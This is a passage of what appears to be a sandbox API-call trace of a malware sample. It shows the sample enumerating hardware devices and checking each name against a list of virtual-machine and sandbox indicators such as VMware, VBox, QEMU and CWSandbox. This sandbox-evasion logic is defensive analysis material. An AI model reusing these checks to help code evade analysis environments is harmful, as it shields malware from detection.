0x26ef8a8 [0277.115] StrStrIA (lpFirst="volmgr", lpSrch="vmscsi") returned 0x0 [0277.115] lstrlenA (lpString="vmscsi") returned 6 [0277.115] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8a8 | out: hHeap=0x2670000) returned 1 [0277.115] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7c8 [0277.115] StrStrIA (lpFirst="volmgr", lpSrch="VMAUDIO") returned 0x0 [0277.115] lstrlenA (lpString="VMAUDIO") returned 7 [0277.115] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7c8 | out: hHeap=0x2670000) returned 1 [0277.115] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef858 [0277.115] StrStrIA (lpFirst="volmgr", lpSrch="vmdebug") returned 0x0 [0277.115] lstrlenA (lpString="vmdebug") returned 7 [0277.115] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef858 | out: hHeap=0x2670000) returned 1 [0277.115] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef888 [0277.115] StrStrIA (lpFirst="volmgr", lpSrch="vm3dmp") returned 0x0 [0277.115] lstrlenA (lpString="vm3dmp") returned 6 [0277.116] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef888 | out: hHeap=0x2670000) returned 1 [0277.116] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb40 [0277.116] StrStrIA (lpFirst="volmgr", lpSrch="vmrawdsk") returned 0x0 [0277.116] lstrlenA (lpString="vmrawdsk") returned 8 [0277.116] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0277.116] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efac8 [0277.116] StrStrIA (lpFirst="volmgr", lpSrch="vmx_svga") returned 0x0 [0277.116] lstrlenA (lpString="vmx_svga") returned 8 [0277.116] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0277.116] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef8b8 [0277.116] StrStrIA (lpFirst="volmgr", lpSrch="ansfltr") returned 0x0 [0277.116] lstrlenA (lpString="ansfltr") returned 7 [0277.116] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8b8 | out: hHeap=0x2670000) returned 1 [0277.116] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7d8 [0277.116] StrStrIA (lpFirst="volmgr", lpSrch="sbtisht") returned 0x0 [0277.116] lstrlenA (lpString="sbtisht") returned 7 [0277.116] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7d8 | out: hHeap=0x2670000) returned 1 [0277.116] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0277.116] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x4, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0277.116] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.183] GetLastError () returned 0x7a [0277.183] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x74) returned 0x26ef908 [0277.183] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x3a, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.218] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efa68 [0277.218] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VMware Pointing") returned 0x0 [0277.218] lstrlenA (lpString="VMware Pointing") returned 15 [0277.218] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0277.218] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef988 [0277.218] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VMware Accelerated") returned 0x0 [0277.218] lstrlenA (lpString="VMware Accelerated") returned 18 [0277.218] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef988 | out: hHeap=0x2670000) returned 1 [0277.218] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa20 [0277.218] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VMware SCSI") returned 0x0 [0277.218] lstrlenA (lpString="VMware SCSI") returned 11 [0277.218] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0277.218] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb58 [0277.218] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VMware SVGA") returned 0x0 [0277.218] lstrlenA (lpString="VMware SVGA") returned 11 [0277.218] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0277.219] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efb40 [0277.219] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VMware Replay") returned 0x0 [0277.219] lstrlenA (lpString="VMware Replay") returned 13 [0277.219] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0277.219] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef988 [0277.219] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VMware server memory") returned 0x0 [0277.219] lstrlenA (lpString="VMware server memory") returned 20 [0277.219] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef988 | out: hHeap=0x2670000) returned 1 [0277.219] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb28 [0277.219] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="CWSandbox") returned 0x0 [0277.219] lstrlenA (lpString="CWSandbox") returned 9 [0277.219] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0277.219] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efa08 [0277.219] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="Virtual HD") returned 0x0 [0277.219] lstrlenA (lpString="Virtual HD") returned 10 [0277.219] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0277.219] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef868 [0277.219] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="QEMU") returned 0x0 [0277.219] lstrlenA (lpString="QEMU") returned 4 [0277.219] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef868 | out: hHeap=0x2670000) returned 1 [0277.323] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb40 [0277.323] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="Red Hat VirtIO") returned 0x0 [0277.323] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0277.324] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0277.324] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb58 [0277.324] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="srootkit") returned 0x0 [0277.324] lstrlenA (lpString="srootkit") returned 8 [0277.324] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0277.324] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa50 [0277.324] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VMware VMaudio") returned 0x0 [0277.324] lstrlenA (lpString="VMware VMaudio") returned 14 [0277.324] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0277.324] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efaf8 [0277.324] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VMware Vista") returned 0x0 [0277.327] lstrlenA (lpString="VMware Vista") returned 12 [0277.327] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0277.327] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efbb8 [0277.327] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VBoxVideo") returned 0x0 [0277.327] lstrlenA (lpString="VBoxVideo") returned 9 [0277.327] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0277.330] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efae0 [0277.330] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VBoxGuest") returned 0x0 [0277.330] lstrlenA (lpString="VBoxGuest") returned 9 [0277.330] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0277.330] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0277.330] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.331] GetLastError () returned 0x7a [0277.331] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efa80 [0277.331] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efa80, PropertyBufferSize=0x8, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efa80, RequiredSize=0x19fe7c) returned 1 [0277.332] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef7f8 [0277.332] StrStrIA (lpFirst="usbuhci", lpSrch="vmxnet") returned 0x0 [0277.332] lstrlenA (lpString="vmxnet") returned 6 [0277.332] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7f8 | out: hHeap=0x2670000) returned 1 [0277.332] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef758 [0277.332] StrStrIA (lpFirst="usbuhci", lpSrch="vmscsi") returned 0x0 [0277.332] lstrlenA (lpString="vmscsi") returned 6 [0277.332] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef758 | out: hHeap=0x2670000) returned 1 [0277.332] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef768 [0277.332] StrStrIA (lpFirst="usbuhci", lpSrch="VMAUDIO") returned 0x0 [0277.332] lstrlenA (lpString="VMAUDIO") returned 7 [0277.333] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef768 | out: hHeap=0x2670000) returned 1 [0277.333] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef8f8 [0277.333] StrStrIA (lpFirst="usbuhci", lpSrch="vmdebug") returned 0x0 [0277.333] lstrlenA (lpString="vmdebug") returned 7 [0277.333] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8f8 | out: hHeap=0x2670000) returned 1 [0277.333] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef768 [0277.333] StrStrIA (lpFirst="usbuhci", lpSrch="vm3dmp") returned 0x0 [0277.333] lstrlenA (lpString="vm3dmp") returned 6 [0277.333] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef768 | out: hHeap=0x2670000) returned 1 [0277.333] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa98 [0277.333] StrStrIA (lpFirst="usbuhci", lpSrch="vmrawdsk") returned 0x0 [0277.333] lstrlenA (lpString="vmrawdsk") returned 8 [0277.333] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0277.333] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa50 [0277.333] StrStrIA (lpFirst="usbuhci", lpSrch="vmx_svga") returned 0x0 [0277.334] lstrlenA (lpString="vmx_svga") returned 8 [0277.334] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0277.334] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef898 [0277.334] StrStrIA (lpFirst="usbuhci", lpSrch="ansfltr") returned 0x0 [0277.334] lstrlenA (lpString="ansfltr") returned 7 [0277.334] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef898 | out: hHeap=0x2670000) returned 1 [0277.334] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7d8 [0277.334] StrStrIA (lpFirst="usbuhci", lpSrch="sbtisht") returned 0x0 [0277.334] lstrlenA (lpString="sbtisht") returned 7 [0277.334] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7d8 | out: hHeap=0x2670000) returned 1 [0277.334] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0277.334] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x5, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0277.334] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.344] GetLastError () returned 0x7a [0277.344] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x3c) returned 0x26ef908 [0277.344] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x1e, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.350] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efa80 [0277.350] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VMware Pointing") returned 0x0 [0277.350] lstrlenA (lpString="VMware Pointing") returned 15 [0277.350] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0277.350] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef950 [0277.351] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VMware Accelerated") returned 0x0 [0277.351] lstrlenA (lpString="VMware Accelerated") returned 18 [0277.351] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef950 | out: hHeap=0x2670000) returned 1 [0277.351] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efab0 [0277.351] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VMware SCSI") returned 0x0 [0277.351] lstrlenA (lpString="VMware SCSI") returned 11 [0277.351] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0277.351] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efae0 [0277.351] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VMware SVGA") returned 0x0 [0277.351] lstrlenA (lpString="VMware SVGA") returned 11 [0277.351] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0277.351] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26ef9f0 [0277.351] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VMware Replay") returned 0x0 [0277.351] lstrlenA (lpString="VMware Replay") returned 13 [0277.351] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0277.351] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef950 [0277.351] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VMware server memory") returned 0x0 [0277.351] lstrlenA (lpString="VMware server memory") returned 20 [0277.351] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef950 | out: hHeap=0x2670000) returned 1 [0277.351] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb58 [0277.351] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="CWSandbox") returned 0x0 [0277.351] lstrlenA (lpString="CWSandbox") returned 9 [0277.351] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0277.351] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efa50 [0277.351] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="Virtual HD") returned 0x0 [0277.351] lstrlenA (lpString="Virtual HD") returned 10 [0277.351] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0277.351] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef8a8 [0277.351] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="QEMU") returned 0x0 [0277.351] lstrlenA (lpString="QEMU") returned 4 [0277.352] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8a8 | out: hHeap=0x2670000) returned 1 [0277.352] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb88 [0277.352] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="Red Hat VirtIO") returned 0x0 [0277.352] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0277.352] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0277.352] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa98 [0277.352] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="srootkit") returned 0x0 [0277.352] lstrlenA (lpString="srootkit") returned 8 [0277.352] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0277.352] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef9f0 [0277.352] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VMware VMaudio") returned 0x0 [0277.352] lstrlenA (lpString="VMware VMaudio") returned 14 [0277.352] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0277.352] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efa38 [0277.352] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VMware Vista") returned 0x0 [0277.352] lstrlenA (lpString="VMware Vista") returned 12 [0277.352] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0277.352] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efaf8 [0277.352] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VBoxVideo") returned 0x0 [0277.352] lstrlenA (lpString="VBoxVideo") returned 9 [0277.352] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0277.352] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efaf8 [0277.352] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VBoxGuest") returned 0x0 [0277.352] lstrlenA (lpString="VBoxGuest") returned 9 [0277.352] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0277.352] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0277.352] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.353] GetLastError () returned 0x7a [0277.353] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x12) returned 0x26ef908 [0277.353] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.353] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef7d8 [0277.353] StrStrIA (lpFirst="HDAudBus", lpSrch="vmxnet") returned 0x0 [0277.353] lstrlenA (lpString="vmxnet") returned 6 [0277.353] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7d8 | out: hHeap=0x2670000) returned 1 [0277.353] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef7b8 [0277.353] StrStrIA (lpFirst="HDAudBus", lpSrch="vmscsi") returned 0x0 [0277.353] lstrlenA (lpString="vmscsi") returned 6 [0277.353] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7b8 | out: hHeap=0x2670000) returned 1 [0277.353] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7f8 [0277.353] StrStrIA (lpFirst="HDAudBus", lpSrch="VMAUDIO") returned 0x0 [0277.354] lstrlenA (lpString="VMAUDIO") returned 7 [0277.354] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7f8 | out: hHeap=0x2670000) returned 1 [0277.354] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef748 [0277.354] StrStrIA (lpFirst="HDAudBus", lpSrch="vmdebug") returned 0x0 [0277.354] lstrlenA (lpString="vmdebug") returned 7 [0277.354] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef748 | out: hHeap=0x2670000) returned 1 [0277.354] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef768 [0277.354] StrStrIA (lpFirst="HDAudBus", lpSrch="vm3dmp") returned 0x0 [0277.354] lstrlenA (lpString="vm3dmp") returned 6 [0277.354] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef768 | out: hHeap=0x2670000) returned 1 [0277.354] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa80 [0277.354] StrStrIA (lpFirst="HDAudBus", lpSrch="vmrawdsk") returned 0x0 [0277.354] lstrlenA (lpString="vmrawdsk") returned 8 [0277.354] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0277.354] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efaf8 [0277.354] StrStrIA (lpFirst="HDAudBus", lpSrch="vmx_svga") returned 0x0 [0277.354] lstrlenA (lpString="vmx_svga") returned 8 [0277.354] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0277.354] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7a8 [0277.354] StrStrIA (lpFirst="HDAudBus", lpSrch="ansfltr") returned 0x0 [0277.354] lstrlenA (lpString="ansfltr") returned 7 [0277.354] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7a8 | out: hHeap=0x2670000) returned 1 [0277.354] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef888 [0277.354] StrStrIA (lpFirst="HDAudBus", lpSrch="sbtisht") returned 0x0 [0277.355] lstrlenA (lpString="sbtisht") returned 7 [0277.355] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef888 | out: hHeap=0x2670000) returned 1 [0277.355] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0277.355] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x6, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0277.355] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.440] GetLastError () returned 0x7a [0277.440] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x2a) returned 0x26ef908 [0277.440] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x15, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.522] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efb58 [0277.522] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware Pointing") returned 0x0 [0277.522] lstrlenA (lpString="VMware Pointing") returned 15 [0277.522] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0277.522] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef940 [0277.522] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware Accelerated") returned 0x0 [0277.522] lstrlenA (lpString="VMware Accelerated") returned 18 [0277.522] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef940 | out: hHeap=0x2670000) returned 1 [0277.523] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa08 [0277.523] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware SCSI") returned 0x0 [0277.523] lstrlenA (lpString="VMware SCSI") returned 11 [0277.523] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0277.523] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb10 [0277.523] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware SVGA") returned 0x0 [0277.523] lstrlenA (lpString="VMware SVGA") returned 11 [0277.523] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0277.523] 